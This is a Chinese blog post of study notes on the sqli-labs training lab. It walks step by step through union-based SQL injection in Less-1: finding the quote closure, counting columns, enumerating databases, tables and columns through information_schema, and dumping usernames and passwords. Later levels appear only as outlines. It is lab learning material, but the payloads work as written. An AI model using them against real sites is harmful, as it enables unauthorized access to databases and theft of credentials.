sqli-labs
Less-1
基于错误的GET单引号字符型注入
index.php分析
- error_reporting(0); 不反馈错误
- isset($_GET['id']) 检查($ _GET['id'])参数是否设置
- LIMIT 0,1 从第一条开始记录,只取一条记录
1.推测闭合方式
?id=1\
输入\ ,后面是' ,推测是单引号闭合
输入 ?id=1' 报错
输入 ?id=1' --+ 不报错
证明是单引号闭合
2.查询列数(order by)
证明一共有3列
?id=1' order by 3 --+
3.了解显示位(union select)
显示位指的是网页中能够显示数据的位置
已知表的列数为3,使用union select 1,2,3查看显示位
?id=-1' union select 1,2,3 --+
由此可知 2,3列是可以显示的
4.查询数据库
查询数据
- database() 在用的数据库名
- user() 用户信息
- version() 数据库版本信息
- @@basedir 数据库安装路径
- @@version_compile_os 操作系统版本
?id=-1' union select 1,database(),user() --+
查询出在用的数据库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
查询出所有数据库名
-
information_schema数据库是MySQL自带的一个系统数据库,主要用于存储关于数据库和表的元数据信息
-
information_schema数据库的组成(主要的只读表)
schemata 数据库名
tables 表名和所属数据库
columns 数据表中所有列名
-
group_concat()函数:将查询到的多行结果连接成字符串
5.查询数据表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
information_schema.tables的字段信息:
- table_catalog:数据表登记目录
- table_schema:数据表所属的数据库名
- table_name:表名称
- table_type:表类型(如系统视图或基础表)
- engine:使用的数据库引擎(如 MyISAM、CSV、InnoDB)
- version:版本,默认值为10
- row_format:行格式(如 Compact、Dynamic、Fixed)
6.查询列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
7.查询内容
?id=-1' union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
Less-2
基于错误的GET整型注入
1.判断闭合方式
2.判断列数
3.查看显示位
4.查询数据库
5.查询数据表
6.查询列名
7.查询数据
Less-3
基于错误的GET单引号变形注入
- 表名,库名要加引号
- 查询数据表时,后面要加where语句,表明在哪个数据库中
- 查询列名时,where语句中,库名和表名之间要加and
Less-4
基于错误的GET双引号字符型注入
同上
Less-5
基于GET单引号双注入
标签:数据库,查询,labs,sqli,table,id,select,schema From: https://www.cnblogs.com/xmt123/p/18549911